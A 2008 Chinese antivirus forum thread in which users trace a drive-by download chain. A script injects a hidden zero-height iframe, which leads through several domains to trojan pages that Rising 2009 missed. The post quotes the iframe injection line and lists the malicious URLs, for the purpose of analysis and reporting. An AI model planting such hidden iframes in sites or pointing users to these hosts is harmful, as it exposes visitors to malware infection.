卡饭卡饭 - 2008-12-26 20:47:00
今天发现的一个毒网,随便分析了一下,瑞星2009没报
http://yahogg.cn/ 主挂马网
深入分析见下....
http://www.yahogg.cn/js/top.js 加载js代码
JS代码内容:
<iframe src=http://khahal.cn/360/a15.htm width=50 height=0></iframe>
http://khahal.cn/360/a15.htm 挂马地址
解密挂马地址:
http://hhahai.cn/a15/fxx.htm 继续解密
得到毒网
http://hhahai.cn/a15/../a01/sina.htm 瑞星2009不报,可以用记事本查看到木马的原代码
http://hhahai.cn/a15/../a01/real.htm 同样2009不报...可以用记事本查看到木马的原代码
networkedition - 2008-12-26 20:57:00
http://down.ihahaj.cn/new/a01.css
© 2000 - 2025 Rising Corp. Ltd.